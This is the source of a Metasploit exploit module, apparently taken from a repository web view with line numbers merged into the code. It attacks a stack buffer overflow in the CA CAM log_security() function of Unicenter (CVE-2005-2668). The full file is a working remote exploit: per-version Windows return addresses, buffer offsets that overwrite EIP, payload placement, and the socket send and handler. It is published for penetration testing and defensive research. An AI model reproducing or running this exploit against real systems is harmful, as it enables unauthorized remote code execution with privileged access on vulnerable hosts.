Path: blob/master/modules/exploits/windows/unicenter/cam_log_security.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'CA CAM log_security() Stack Buffer Overflow (Win32)',15'Description' => %q{16This module exploits a vulnerability in the CA CAM service17by passing a long parameter to the log_security() function.18The CAM service is part of TNG Unicenter. This module has19been tested on Unicenter v3.1.20},21'Author' => [ 'hdm' ],22'License' => MSF_LICENSE,23'References' => [24['CVE', '2005-2668'],25['OSVDB', '18916'],26['BID', '14622'],27],28'Privileged' => true,29'Payload' => {30'Space' => 1024,31'BadChars' => "\x00",32'StackAdjustment' => -3500,33},34'Platform' => %w{win},35'Targets' => [36# W2API.DLL @ 0x01950000 - return to ESI37['W2API.DLL TNG 2.3', { 'Platform' => 'win', 'Ret' => 0x01951107 }],3839# Return to ESI in ws2help.dll40['Windows 2000 SP0-SP4 English', { 'Platform' => 'win', 'Ret' => 0x750217ae }],41['Windows XP SP0-SP1 English', { 'Platform' => 'win', 'Ret' => 0x71aa16e5 }],42['Windows XP SP2 English', { 'Platform' => 'win', 'Ret' => 0x71aa1b22 }],43['Windows 2003 SP0 English', { 'Platform' => 'win', 'Ret' => 0x71bf175f }],44],45'DisclosureDate' => '2005-08-22',46'DefaultTarget' => 0,47'Notes' => {48'Reliability' => UNKNOWN_RELIABILITY,49'Stability' => UNKNOWN_STABILITY,50'SideEffects' => UNKNOWN_SIDE_EFFECTS51}52)53)54end5556def check57connect58ack = sock.get_once || ''59disconnect6061(ack == "ACK\x00") ? Exploit::CheckCode::Detected : Exploit::CheckCode::Safe62end6364def exploit65connect6667ack = sock.get_once68if (ack != "ACK\x00")69print_status("The CAM service is not responding")70end7172buf = rand_text_english(4096, payload_badchars)7374# Offset 1016 for EIP, 1024 = ESP, 1052 = ESI75buf[1016, 4] = [target.ret].pack('V')76buf[1052, payload.encoded.length] = payload.encoded7778sock.put("\xfa\xf9\x00\x10" + buf + "\x00")7980handler81disconnect82end83end848586